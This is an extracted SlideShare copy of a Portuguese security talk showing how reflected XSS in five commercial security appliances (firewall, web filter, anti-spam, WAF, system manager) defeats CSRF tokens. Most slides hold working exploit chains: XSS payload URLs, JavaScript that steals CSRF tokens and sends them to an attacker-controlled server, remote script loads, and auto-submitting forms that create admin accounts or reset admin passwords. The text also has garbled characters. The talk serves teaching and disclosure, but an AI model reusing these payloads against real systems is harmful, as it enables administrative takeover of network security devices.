SlideShare une entreprise Scribd logo
1  sur  51
Télécharger pour lire hors ligne
Bypass 
de 
Token 
CSRF 
na 
pra2ca/Exploração 
de 
ByPasss 
de 
CSRF 
William 
Costa
Bypass 
de 
Token 
CSRF 
Consultor 
em 
Segurança 
da 
Informação. 
CISSP, 
C|EH, 
E|CSA, 
CPT, 
CEPT, 
LPI.
Bypass 
de 
Token 
CSRF 
Vulnerabilidade CSRF. 
• Cross-­‐site 
request 
forgery 
é 
o 
envio 
de 
comandos 
(dados) 
pelo 
usuário 
a 
um 
site 
que 
confia 
em 
seu 
browser 
(usuário 
já 
auten2cado) 
sem 
o 
consen2mento/conhecimento 
do 
mesmo. 
• Normalmente 
ocorre 
com 
ajuda 
da 
engenharia 
social, 
por 
meio 
de 
envio 
de 
links 
e/ou 
phishings 
.
Bypass 
de 
Token 
CSRF 
Senta que lá vem a Historia do CSRF. 
• O 
Primeiro 
CVE 
disponível 
no 
mitre 
sobre 
CSRF 
(CVE-­‐2002-­‐1648) 
é 
de 
uma 
vulnerabilidade 
de 
2002 
no 
webmail 
SquirrelMail. 
• O 
Mitre 
conta 
com 
921 
CVEs 
publicados 
deste 
2po 
de 
falha.
Bypass 
de 
Token 
CSRF 
Como ocorre um ataque de 
CSRF. 
• A 
vi2ma 
realiza 
o 
logon 
na 
aplicação 
vulnerável, 
com 
a 
sessão 
valida 
realiza 
o 
acesso 
a 
um 
site 
controlado 
pelo 
atacante.
Bypass 
de 
Token 
CSRF 
A 
OWASP 
recomenda 
a 
u2lização 
de 
Tokens 
também 
conhecidos 
como 
Token 
CSRF 
para 
prefinir 
o 
ataque 
de 
CSRF 
normalmente 
são 
u2lizados 
para 
validação 
dos 
dados 
enviados 
via 
POST(podem 
ser 
enviados 
via 
GET 
também), 
prevenindo 
assim, 
um 
atacante 
de 
enviar 
via 
browser 
da 
vi2ma 
informações 
sem 
o 
conhecimento 
prévio 
do 
token. 
Impossibilitando 
o 
ataque 
CSRF.
Bypass 
de 
Token 
CSRF 
Exemplo de um Token CSRF
Bypass 
de 
Token 
CSRF 
Como funciona o Token 
CSRF.
Bypass 
de 
Token 
CSRF 
Cross-­‐Site ScripBng (XSS) 
• Cross-­‐Site 
Scrip2ng 
é 
composto 
por 
envio 
de 
scripts 
maliciosos 
em 
uma 
requisição 
de 
um 
usuário 
ao 
site 
legi2mo, 
dessa 
forma 
o 
script 
será 
executado 
pelo 
browser 
da 
vi2ma.
TOP 10 OWASP 
• OWASP 
Top 
10 
– 
2013 
• A1 
– 
Injec2on 
• A2 
Bypass 
de 
Token 
CSRF 
– 
Broken 
Authen2ca2on 
and 
Session 
Management 
• A3 
– 
Cross-­‐Site 
Scrip2ng 
(XSS) 
• A4 
– 
Insecure 
Direct 
Object 
References 
• A5 
– 
Security 
Misconfigura2on 
• A6 
– 
Sensi2ve 
Data 
Exposure 
• A7 
– 
Missing 
Func2on 
Level 
Access 
Control 
• A8 
– 
Cross-­‐Site 
Request 
Forgery 
(CSRF) 
• A9 
– 
Using 
Known 
Vulnerable 
Components 
• A10 
– 
Unvalidated 
Redirects 
and 
Forwards
Bypass 
de 
Token 
CSRF 
Bypass do CSRF na práBca. 
Nos 
próximos 
slides 
irei 
apresentar 
5 
formas 
de 
by-­‐pass 
de 
implementações 
diferentes 
de 
Tokens 
CSRFs. 
Acredito 
que 
o 
aprendizado 
pra2co 
é 
mais 
didá2co, 
então 
veremos 
5 
falhas 
em 
cinco 
produtos 
de 
mercado 
que 
u2lizam 
alguma 
implementação 
do 
Token 
CSRF. 
J
Alvo 
: 
Bypass 
de 
Token 
CSRF 
Falha 1# 
• Gerenciador 
de 
Sistemas 
Resultado: 
Um 
Reflected 
XSS 
no 
parâmetro 
“ID” 
na 
pagina 
de 
configuração 
de 
usuários 
administra2vos.
Bypass 
de 
Token 
CSRF 
XSS no parâmetro ID . 
• hqp://ip/adminui/user.php?ID=10">]</a><script>alert("XSS");</ 
script>&&PAGE=2
Saída. 
Bypass 
de 
Token 
CSRF
Bypass 
de 
Token 
CSRF 
A primeira coisa é localizar um XSS. 
• Neste 
aplica2vo 
a 
falha 
se 
encontra 
no 
ID 
(ID=10) 
de 
iden2ficação 
do 
usuário 
administrador. 
• Não 
ocorre 
o 
tratamento 
dos 
dados 
enviados 
nesta 
variável, 
o 
conteúdo 
da 
variável 
é 
inserida 
em 
um 
link 
de 
href 
da 
tag 
<a>. 
• <a 
href="history_log.php? 
HISTORY_TYPE=OBJECT&TYPE_NAME=USER&TYPE_ID=10"></ 
a><script>alert(2);</script>&NAME=admin&SHOW_ALL=1" 
onclick='logPopup(this); 
return 
false;'>Show 
All 
History</a>
Analise do Ambiente. 
• Agora 
que 
já 
temos 
o 
nosso 
“XSS”, 
podemos 
analisar 
o 
ambiente 
e 
verificar 
o 
que 
é 
possível 
fazer 
com 
este. 
• Analisando 
a 
pagina 
onde 
temos 
o 
nosso 
XSS, 
vemos 
que 
é 
possível 
alterar 
a 
senha 
do 
usuário 
sem 
a 
necessidade 
da 
senha 
atual 
J. 
• Já 
temos 
o 
Nosso 
Alvo. 
Bypass 
de 
Token 
CSRF
Criando nosso Exploit. 
• Nosso 
exploit 
será 
composto 
por 
um 
javascript, 
vamos 
u2lizar 
o 
getElementsByName() 
para 
localizar 
o 
input 
correspondente 
ao 
campo 
Password 
e 
Confirm 
Password 
e 
setar 
uma 
senha. 
document.getElementsByName('FARRAY[PASSWORD]')[0].value 
= 
"123456”; 
document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value 
= 
"123456”; 
Porém 
a 
nossa 
injeção 
de 
script 
ocorre 
no 
inicio 
do 
código 
HTML, 
por 
tanto 
ainda 
não 
existem 
esses 
campos. 
A 
solução 
é 
adicionar 
nosso 
código 
a 
uma 
função 
e 
setar 
um 
2meout. 
func2on 
append(csrf) 
{ 
document.getElementsByName('FARRAY[PASSWORD]')[0].value 
= 
"123456"; 
document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value 
= 
"123456"; 
document.UserForm.submit(); 
} 
setTimeout("append("2meout")", 
1000); 
Bypass 
de 
Token 
CSRF
Resultado. 
Alterado 
a 
Senha 
do 
Usuário 
Admin 
J 
Bypass 
de 
Token 
CSRF
Falha 2# 
Alvo: 
• Firewall 
UTM 
Resultado: 
• Um 
Reflected 
XSS 
no 
campo 
“mkey 
” 
na 
pagina 
de 
configuração 
dos 
schedules 
das 
regras. 
Bypass 
de 
Token 
CSRF
Bypass 
de 
Token 
CSRF 
XSS no parâmetro mkey. 
• hqp://IP/firewall/schedule/recurrdlg? 
mkey=a"><script>alert("xss");</script>
Saída. 
Bypass 
de 
Token 
CSRF
Localizando a falha. 
• O 
Bypass 
de 
Token 
CSRF 
XSS 
neste 
caso 
é 
inserido 
no 
parâmetro 
“mkey” 
que 
é 
a 
variável 
do 
nome 
do 
objeto 
de 
schedule. 
• Mais 
uma 
vez 
a 
variável 
não 
foi 
tratada 
e 
a 
mesma 
é 
inserida 
em 
um 
tag 
<input> 
do 
html. 
• <input 
type=text 
name=name 
id=name 
size="50" 
maxlength="31" 
onfocus="this.select()" 
value="a"><script>alert("XSS");</script>">
Analise do Ambiente. 
• Na 
Bypass 
de 
Token 
CSRF 
pagina 
onde 
ocorre 
a 
inserção 
do 
script, 
não 
contém 
informações 
sensíveis, 
mas, 
o 
Token 
CSRF 
é 
guardado 
em 
um 
COOKIE. 
J 
• 
Inserindo 
um 
simples 
<script>alert(document.cookie) 
;<script>, 
temos 
a 
seguinte 
saída 
• Alvo 
criação 
de 
um 
novo 
Usuário
Criando o Exploit. 
• Iremos 
Bypass 
de 
Token 
CSRF 
criar 
um 
script 
para 
envio 
do 
Token 
CSRF 
para 
nosso 
servidor, 
depois 
enviar 
o 
usuário 
a 
nossa 
página 
para 
o 
envio 
dos 
dados 
de 
criação 
do 
usuário 
administrador 
(CSRF). 
var 
o_cookie_array 
= 
o_cookie.split(";"); 
var 
a_data 
= 
unescape(o_cookie_array[1]); 
var 
a_data_array 
= 
a_data.split 
("=" 
); 
var 
token 
= 
unescape(a_data_array[1]); 
window.loca=on.replace("h?ps://10.0.1.120/xss/cookie.php?cookie=" 
+ 
encodeURIComponent(token));
• Esse 
Bypass 
de 
Token 
CSRF 
código 
é 
responsável 
pelo 
envio 
do 
ataque 
CSRF 
quando 
o 
usuário 
acessa 
a 
página. 
<body 
onload="CSRF.submit();”> 
<?php 
$lines 
= 
file 
('cookies.txt'); 
dados 
= 
explode('"',$lines[1]); 
$matrizDeDados[] 
= 
$dados; 
foreach 
($matrizDeDados 
as 
$linhas){ 
$token 
= 
$linhas[1]; 
} 
?> 
<form 
id="CSRF" 
ac=on="h?p://ip_fw/system/config/adminadd" 
method="post" 
name="CSRF"> 
<input 
name="name" 
value="user.exploit"> 
</input> 
<input 
name="admin_type" 
value="1"> 
</input> 
<input 
name="newpasswd1" 
value="123456"> 
</input> 
<input 
name="newpasswd2" 
value="123456"> 
</input> 
<input 
name="guest_grp" 
value=""> 
</input> 
<input 
name="CSRF_TOKEN" 
value="<?php 
echo 
$token;?>"> 
</input> 
</form> 
Criando o Exploit.
Resultado. 
Criação 
de 
um 
novo 
usuário 
de 
Administração. 
J 
Bypass 
de 
Token 
CSRF
Falha 3# 
Alvo: 
• Web 
Filter 
Resultado: 
• Um 
Reflected 
XSS 
no 
campo 
“date_range 
” 
na 
pagina 
de 
Repor2ngs 
por 
usuários. 
Bypass 
de 
Token 
CSRF
Bypass 
de 
Token 
CSRF 
XSS no parâmetro date_range. 
• hqps://ip_webfilter/monitor/users? 
printable=False&date_range=a"><script>alert(“XSS”)</script>
Saída. 
Bypass 
de 
Token 
CSRF
Localizando a falha. 
• O 
Bypass 
de 
Token 
CSRF 
XSS 
neste 
caso 
é 
inserido 
no 
parâmetro 
“date_range” 
u2lizado 
para 
filtro 
de 
data. 
• Mais 
uma 
vez 
a 
variável 
não 
foi 
tratada 
e 
a 
mesma 
é 
inserida 
em 
uma 
tag 
<input> 
do 
html. 
• <input 
type="hidden" 
id="current_date_range” 
value="aaaaa"><script>alert(2)</script>">
Analise do Ambiente. 
• Analisando 
o 
conteúdo 
do 
código 
devolvido 
ao 
usuário 
encontramos 
o 
Token 
CSRF 
em 
uma 
função 
do 
javascript 
. 
J 
• Alvo: 
Para 
a 
troca 
de 
senha 
do 
Usuário 
admin, 
não 
é 
necessário 
saber 
a 
senha 
anterior 
J 
Bypass 
de 
Token 
CSRF
Bypass 
de 
Token 
CSRF 
Criando o Exploit. 
• Iniciaremos 
com 
a 
criação 
do 
Exploit 
para 
localização 
desse 
script 
e 
a 
remoção 
do 
seu 
conteúdo 
e 
envio 
ao 
nosso 
servidor. 
Como 
o 
nosso 
script 
é 
inserido 
antes 
da 
criação 
da 
função 
que 
contém 
o 
Token 
iremos 
adicionar 
o 
nosso 
script 
um 
2meout. 
func=on 
append(csrf) 
{ 
csrf 
= 
document.getElementsByTagName('script').item(20).textContent 
var 
o_cookie 
= 
csrf; 
var 
o_cookie_array 
= 
o_cookie.split("="); 
var 
a_data 
= 
unescape(o_cookie_array[2]); 
var 
a_data_array 
= 
a_data.split 
("&" 
); 
var 
token 
= 
unescape(a_data_array[0]); 
window.loca=on.replace("h?ps://ip_server/cookie.php?cookie=" 
+ 
encodeURIComponent(token)) 
} 
setTimeout("append("=meout")", 
2000);
Bypass 
de 
Token 
CSRF 
Criando o Exploit. 
<?php 
$lines 
= 
file 
('cookies.txt'); 
$matrizDeDados[] 
= 
$lines; 
// 
recolhe 
valores 
da 
linha 
foreach 
($matrizDeDados 
as 
$linhas){ 
$token 
= 
$linhas[1]; 
} 
?> 
<body 
onload="CSRF.submit();"> 
<form 
id="CSRF" 
ac=on="h?ps://IP_applicacao/system_administra=on/access/users" 
method="post" 
name="CSRF"> 
<input 
name="screen" 
value="system_administra=on.access.users"> 
</input> 
<input 
name="isEdit" 
value="true"> 
</input> 
<input 
name="userName" 
value="admin"> 
</input> 
<input 
name="group" 
value="admin"> 
</input> 
<input 
name="passwd" 
value="123456789"> 
</input> 
<input 
name="retypePassword" 
value="123456789"> 
</input> 
<input 
name="CSRFKey" 
value="<?php 
echo 
$token;?>"> 
</input> 
</form>
Resultado. 
Bypass 
de 
Token 
CSRF 
Alteração 
da 
senha 
do 
usuário 
Admin. 
J
Falha 4# 
Alvo: 
• Messaging 
Security 
(an2-­‐spam) 
Resultado: 
• Um 
Reflected 
XSS 
no 
campo 
“new 
” 
na 
pagina 
de 
criação 
de 
usuários 
administra2vos. 
Bypass 
de 
Token 
CSRF
Bypass 
de 
Token 
CSRF 
XSS no parâmetro new. 
• hqps://ip_an2spam/admin? 
module=SysUser&method=user&new=1><script 
src=//10.0.1.120/e.js
Saída. 
Bypass 
de 
Token 
CSRF
Localizando a falha. 
• O 
Bypass 
de 
Token 
CSRF 
XSS 
neste 
caso 
é 
inserido 
no 
parâmetro 
“new” 
u2lizado 
para 
informar 
a 
criação 
de 
um 
novo 
usuário 
administrador 
na 
aplicação. 
• Mais 
uma 
vez 
a 
variável 
não 
foi 
tratada 
e 
a 
mesma 
é 
inserida 
em 
um 
tag 
<input> 
do 
html. 
• <input 
type=hidden 
name=new 
value=1><script 
src=//10.0.1.120/e.js>
Analise do Ambiente. 
• Analisando 
Bypass 
de 
Token 
CSRF 
o 
conteúdo 
do 
código 
devolvido 
ao 
usuário 
vemos 
que 
o 
nosso 
script 
é 
inserido 
dentro 
de 
uma 
TAG 
input 
. 
J 
• Alvo: 
Já 
estamos 
na 
página 
de 
criação 
de 
novos 
usuários 
administradores, 
por 
que 
não 
criar 
um 
para 
nós?!.
Bypass 
de 
Token 
CSRF 
Criando o Exploit. 
• Esse 
exploit 
tem 
o 
intuito 
de 
preencher 
os 
campos 
input 
do 
usuário, 
senha 
e 
role, 
porém 
quando 
inserimos 
o 
XSS 
quebramos 
a 
tag 
input 
do 
usuário. 
Vamos 
corrigir 
isso 
com 
um 
simples 
document.write. 
//Create 
tag 
input 
with 
Id 
of 
user 
that 
was 
break 
by 
XSS 
document.write("<input 
id='id' 
name='id' 
value='user.exploit'>"); 
//Set 
values 
in 
input 
with 
password 
and 
role 
func=on 
append(csrf) 
{ 
document.getElementsByName('user_newpassword_1')[0].value 
= 
"admin@123"; 
document.getElementsByName('user_newpassword_2')[0].value 
= 
"admin@123"; 
document.getElementsByName('selectedrole')[0].value 
= 
"root"; 
document.main_form.submit(); 
} 
setTimeout("append("=meout")", 
1000);
Resultado. 
Criação 
de 
um 
novo 
usuário 
de 
Administração. 
J 
Bypass 
de 
Token 
CSRF
Falha 5# 
Alvo: 
• WAF 
(Web 
Applica2on 
Firewall) 
Resultado: 
• Um 
Reflected 
XSS 
da 
pagina 
de 
Regex 
pré 
definidos 
em 
um 
script 
de 
criação 
de 
cookie 
Bypass 
de 
Token 
CSRF
XSS na URL. 
Bypass 
de 
Token 
CSRF 
• hqps://waf/prot/paqern/list_url_rule/aaa">}//-­‐-­‐></script><script 
src=hqps://10.0.1.120/exploit.js></script>
Saída. 
Bypass 
de 
Token 
CSRF
Localizando a falha. 
• O 
Bypass 
de 
Token 
CSRF 
XSS 
neste 
caso 
é 
inserido 
na 
URL 
que 
é 
u2lizada 
para 
criação 
de 
um 
cookie 
por 
um 
javascript 
• A 
URL 
não 
foi 
tratada 
e 
a 
mesma 
é 
inserida 
em 
um 
javascript 
<script> 
da 
aplicação. 
setCookie("/prot/pa?ern/list_data_type/aaa">}//-­‐-­‐></script><script 
src=h?ps://10.0.1.120/teste.js></script>"
Analise do Ambiente. 
• Analisando 
Bypass 
de 
Token 
CSRF 
o 
código 
devolvido 
ao 
usuário 
encontramos 
o 
Token 
CSRF 
com 
o 
nome 
de 
Session_ID, 
já 
temos 
o 
nosso 
token. 
Alvo: 
Criação 
de 
um 
Novo 
usuário
Criando o Exploit. 
• Esse 
exploit 
envia 
ao 
servidor 
o 
Session_ID 
que 
vai 
ser 
usado 
para 
criação 
de 
um 
usuário 
administrador. 
J 
window.loca2on.replace("hqps://10.0.1.120/cookie.php?cookie=" 
+ 
encodeURIComponent(session_id)); 
• Não 
precisamos 
nem 
nós 
preocuparmos 
em 
como 
obter 
o 
token 
ele 
é 
uma 
variável 
universal. 
Bypass 
de 
Token 
CSRF
Bypass 
de 
Token 
CSRF 
Criando o Exploit.
Criação 
de 
um 
novo 
usuário 
de 
Administração. 
J 
Bypass 
de 
Token 
CSRF 
Resultado.
Bypass 
de 
Token 
CSRF 
Conclusão. 
• Se 
temos 
um 
XSS 
na 
aplicação 
é 
fácil 
burlar 
as 
proteções 
de 
Flag 
HqpOnly 
do 
cookie 
ou 
Token 
CSRF.
<script>alert(String(/Perguntas?/).substr(1,10) ); </script> 
twifer.com/@willcosta 
Bypass 
de 
Token 
CSRF

Contenu connexe

Similaire à Bypass de token csrf na pratica secure brasil

Quem tem medo do XSS
Quem tem medo do XSSQuem tem medo do XSS
Quem tem medo do XSS
William Costa
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Clavis Segurança da Informação
 

Similaire à Bypass de token csrf na pratica secure brasil (20)

Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
 
Quem tem medo do XSS
Quem tem medo do XSSQuem tem medo do XSS
Quem tem medo do XSS
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
 
Testes de segurança em aplicações web
Testes de segurança em aplicações webTestes de segurança em aplicações web
Testes de segurança em aplicações web
 
Desenvolvimento de Software Seguro
Desenvolvimento de Software SeguroDesenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
 
Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019
 
Tony\'s Top 10 Computer Forensics Artifacts
Tony\'s Top 10 Computer Forensics ArtifactsTony\'s Top 10 Computer Forensics Artifacts
Tony\'s Top 10 Computer Forensics Artifacts
 
Xss injection indo alem do alert.v 0.4
Xss injection indo alem do alert.v 0.4Xss injection indo alem do alert.v 0.4
Xss injection indo alem do alert.v 0.4
 
Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos Web
 
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
 
2016/08/19 - Uma visão geral da AWS para desenvolvedores
2016/08/19 - Uma visão geral da AWS para desenvolvedores2016/08/19 - Uma visão geral da AWS para desenvolvedores
2016/08/19 - Uma visão geral da AWS para desenvolvedores
 
XSS Desvendado
XSS DesvendadoXSS Desvendado
XSS Desvendado
 
Desenvolvimento de software seguro
Desenvolvimento de software seguroDesenvolvimento de software seguro
Desenvolvimento de software seguro
 
OWASP - Ferramentas
OWASP - FerramentasOWASP - Ferramentas
OWASP - Ferramentas
 
Ferranentas OWASP
Ferranentas OWASPFerranentas OWASP
Ferranentas OWASP
 
ENSOL 2011 - OWASP e a Segurança na Web
ENSOL 2011 - OWASP e a Segurança na WebENSOL 2011 - OWASP e a Segurança na Web
ENSOL 2011 - OWASP e a Segurança na Web
 
Palestra sql injection oficial
Palestra sql injection oficialPalestra sql injection oficial
Palestra sql injection oficial
 

Bypass de token csrf na pratica secure brasil

  • 1. Bypass de Token CSRF na pra2ca/Exploração de ByPasss de CSRF William Costa
  • 2. Bypass de Token CSRF Consultor em Segurança da Informação. CISSP, C|EH, E|CSA, CPT, CEPT, LPI.
  • 3. Bypass de Token CSRF Vulnerabilidade CSRF. • Cross-­‐site request forgery é o envio de comandos (dados) pelo usuário a um site que confia em seu browser (usuário já auten2cado) sem o consen2mento/conhecimento do mesmo. • Normalmente ocorre com ajuda da engenharia social, por meio de envio de links e/ou phishings .
  • 4. Bypass de Token CSRF Senta que lá vem a Historia do CSRF. • O Primeiro CVE disponível no mitre sobre CSRF (CVE-­‐2002-­‐1648) é de uma vulnerabilidade de 2002 no webmail SquirrelMail. • O Mitre conta com 921 CVEs publicados deste 2po de falha.
  • 5. Bypass de Token CSRF Como ocorre um ataque de CSRF. • A vi2ma realiza o logon na aplicação vulnerável, com a sessão valida realiza o acesso a um site controlado pelo atacante.
  • 6. Bypass de Token CSRF A OWASP recomenda a u2lização de Tokens também conhecidos como Token CSRF para prefinir o ataque de CSRF normalmente são u2lizados para validação dos dados enviados via POST(podem ser enviados via GET também), prevenindo assim, um atacante de enviar via browser da vi2ma informações sem o conhecimento prévio do token. Impossibilitando o ataque CSRF.
  • 7. Bypass de Token CSRF Exemplo de um Token CSRF
  • 8. Bypass de Token CSRF Como funciona o Token CSRF.
  • 9. Bypass de Token CSRF Cross-­‐Site ScripBng (XSS) • Cross-­‐Site Scrip2ng é composto por envio de scripts maliciosos em uma requisição de um usuário ao site legi2mo, dessa forma o script será executado pelo browser da vi2ma.
  • 10. TOP 10 OWASP • OWASP Top 10 – 2013 • A1 – Injec2on • A2 Bypass de Token CSRF – Broken Authen2ca2on and Session Management • A3 – Cross-­‐Site Scrip2ng (XSS) • A4 – Insecure Direct Object References • A5 – Security Misconfigura2on • A6 – Sensi2ve Data Exposure • A7 – Missing Func2on Level Access Control • A8 – Cross-­‐Site Request Forgery (CSRF) • A9 – Using Known Vulnerable Components • A10 – Unvalidated Redirects and Forwards
  • 11. Bypass de Token CSRF Bypass do CSRF na práBca. Nos próximos slides irei apresentar 5 formas de by-­‐pass de implementações diferentes de Tokens CSRFs. Acredito que o aprendizado pra2co é mais didá2co, então veremos 5 falhas em cinco produtos de mercado que u2lizam alguma implementação do Token CSRF. J
  • 12. Alvo : Bypass de Token CSRF Falha 1# • Gerenciador de Sistemas Resultado: Um Reflected XSS no parâmetro “ID” na pagina de configuração de usuários administra2vos.
  • 13. Bypass de Token CSRF XSS no parâmetro ID . • hqp://ip/adminui/user.php?ID=10">]</a><script>alert("XSS");</ script>&&PAGE=2
  • 14. Saída. Bypass de Token CSRF
  • 15. Bypass de Token CSRF A primeira coisa é localizar um XSS. • Neste aplica2vo a falha se encontra no ID (ID=10) de iden2ficação do usuário administrador. • Não ocorre o tratamento dos dados enviados nesta variável, o conteúdo da variável é inserida em um link de href da tag <a>. • <a href="history_log.php? HISTORY_TYPE=OBJECT&TYPE_NAME=USER&TYPE_ID=10"></ a><script>alert(2);</script>&NAME=admin&SHOW_ALL=1" onclick='logPopup(this); return false;'>Show All History</a>
  • 16. Analise do Ambiente. • Agora que já temos o nosso “XSS”, podemos analisar o ambiente e verificar o que é possível fazer com este. • Analisando a pagina onde temos o nosso XSS, vemos que é possível alterar a senha do usuário sem a necessidade da senha atual J. • Já temos o Nosso Alvo. Bypass de Token CSRF
  • 17. Criando nosso Exploit. • Nosso exploit será composto por um javascript, vamos u2lizar o getElementsByName() para localizar o input correspondente ao campo Password e Confirm Password e setar uma senha. document.getElementsByName('FARRAY[PASSWORD]')[0].value = "123456”; document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value = "123456”; Porém a nossa injeção de script ocorre no inicio do código HTML, por tanto ainda não existem esses campos. A solução é adicionar nosso código a uma função e setar um 2meout. func2on append(csrf) { document.getElementsByName('FARRAY[PASSWORD]')[0].value = "123456"; document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value = "123456"; document.UserForm.submit(); } setTimeout("append("2meout")", 1000); Bypass de Token CSRF
  • 18. Resultado. Alterado a Senha do Usuário Admin J Bypass de Token CSRF
  • 19. Falha 2# Alvo: • Firewall UTM Resultado: • Um Reflected XSS no campo “mkey ” na pagina de configuração dos schedules das regras. Bypass de Token CSRF
  • 20. Bypass de Token CSRF XSS no parâmetro mkey. • hqp://IP/firewall/schedule/recurrdlg? mkey=a"><script>alert("xss");</script>
  • 21. Saída. Bypass de Token CSRF
  • 22. Localizando a falha. • O Bypass de Token CSRF XSS neste caso é inserido no parâmetro “mkey” que é a variável do nome do objeto de schedule. • Mais uma vez a variável não foi tratada e a mesma é inserida em um tag <input> do html. • <input type=text name=name id=name size="50" maxlength="31" onfocus="this.select()" value="a"><script>alert("XSS");</script>">
  • 23. Analise do Ambiente. • Na Bypass de Token CSRF pagina onde ocorre a inserção do script, não contém informações sensíveis, mas, o Token CSRF é guardado em um COOKIE. J • Inserindo um simples <script>alert(document.cookie) ;<script>, temos a seguinte saída • Alvo criação de um novo Usuário
  • 24. Criando o Exploit. • Iremos Bypass de Token CSRF criar um script para envio do Token CSRF para nosso servidor, depois enviar o usuário a nossa página para o envio dos dados de criação do usuário administrador (CSRF). var o_cookie_array = o_cookie.split(";"); var a_data = unescape(o_cookie_array[1]); var a_data_array = a_data.split ("=" ); var token = unescape(a_data_array[1]); window.loca=on.replace("h?ps://10.0.1.120/xss/cookie.php?cookie=" + encodeURIComponent(token));
  • 25. • Esse Bypass de Token CSRF código é responsável pelo envio do ataque CSRF quando o usuário acessa a página. <body onload="CSRF.submit();”> <?php $lines = file ('cookies.txt'); dados = explode('"',$lines[1]); $matrizDeDados[] = $dados; foreach ($matrizDeDados as $linhas){ $token = $linhas[1]; } ?> <form id="CSRF" ac=on="h?p://ip_fw/system/config/adminadd" method="post" name="CSRF"> <input name="name" value="user.exploit"> </input> <input name="admin_type" value="1"> </input> <input name="newpasswd1" value="123456"> </input> <input name="newpasswd2" value="123456"> </input> <input name="guest_grp" value=""> </input> <input name="CSRF_TOKEN" value="<?php echo $token;?>"> </input> </form> Criando o Exploit.
  • 26. Resultado. Criação de um novo usuário de Administração. J Bypass de Token CSRF
  • 27. Falha 3# Alvo: • Web Filter Resultado: • Um Reflected XSS no campo “date_range ” na pagina de Repor2ngs por usuários. Bypass de Token CSRF
  • 28. Bypass de Token CSRF XSS no parâmetro date_range. • hqps://ip_webfilter/monitor/users? printable=False&date_range=a"><script>alert(“XSS”)</script>
  • 29. Saída. Bypass de Token CSRF
  • 30. Localizando a falha. • O Bypass de Token CSRF XSS neste caso é inserido no parâmetro “date_range” u2lizado para filtro de data. • Mais uma vez a variável não foi tratada e a mesma é inserida em uma tag <input> do html. • <input type="hidden" id="current_date_range” value="aaaaa"><script>alert(2)</script>">
  • 31. Analise do Ambiente. • Analisando o conteúdo do código devolvido ao usuário encontramos o Token CSRF em uma função do javascript . J • Alvo: Para a troca de senha do Usuário admin, não é necessário saber a senha anterior J Bypass de Token CSRF
  • 32. Bypass de Token CSRF Criando o Exploit. • Iniciaremos com a criação do Exploit para localização desse script e a remoção do seu conteúdo e envio ao nosso servidor. Como o nosso script é inserido antes da criação da função que contém o Token iremos adicionar o nosso script um 2meout. func=on append(csrf) { csrf = document.getElementsByTagName('script').item(20).textContent var o_cookie = csrf; var o_cookie_array = o_cookie.split("="); var a_data = unescape(o_cookie_array[2]); var a_data_array = a_data.split ("&" ); var token = unescape(a_data_array[0]); window.loca=on.replace("h?ps://ip_server/cookie.php?cookie=" + encodeURIComponent(token)) } setTimeout("append("=meout")", 2000);
  • 33. Bypass de Token CSRF Criando o Exploit. <?php $lines = file ('cookies.txt'); $matrizDeDados[] = $lines; // recolhe valores da linha foreach ($matrizDeDados as $linhas){ $token = $linhas[1]; } ?> <body onload="CSRF.submit();"> <form id="CSRF" ac=on="h?ps://IP_applicacao/system_administra=on/access/users" method="post" name="CSRF"> <input name="screen" value="system_administra=on.access.users"> </input> <input name="isEdit" value="true"> </input> <input name="userName" value="admin"> </input> <input name="group" value="admin"> </input> <input name="passwd" value="123456789"> </input> <input name="retypePassword" value="123456789"> </input> <input name="CSRFKey" value="<?php echo $token;?>"> </input> </form>
  • 34. Resultado. Bypass de Token CSRF Alteração da senha do usuário Admin. J
  • 35. Falha 4# Alvo: • Messaging Security (an2-­‐spam) Resultado: • Um Reflected XSS no campo “new ” na pagina de criação de usuários administra2vos. Bypass de Token CSRF
  • 36. Bypass de Token CSRF XSS no parâmetro new. • hqps://ip_an2spam/admin? module=SysUser&method=user&new=1><script src=//10.0.1.120/e.js
  • 37. Saída. Bypass de Token CSRF
  • 38. Localizando a falha. • O Bypass de Token CSRF XSS neste caso é inserido no parâmetro “new” u2lizado para informar a criação de um novo usuário administrador na aplicação. • Mais uma vez a variável não foi tratada e a mesma é inserida em um tag <input> do html. • <input type=hidden name=new value=1><script src=//10.0.1.120/e.js>
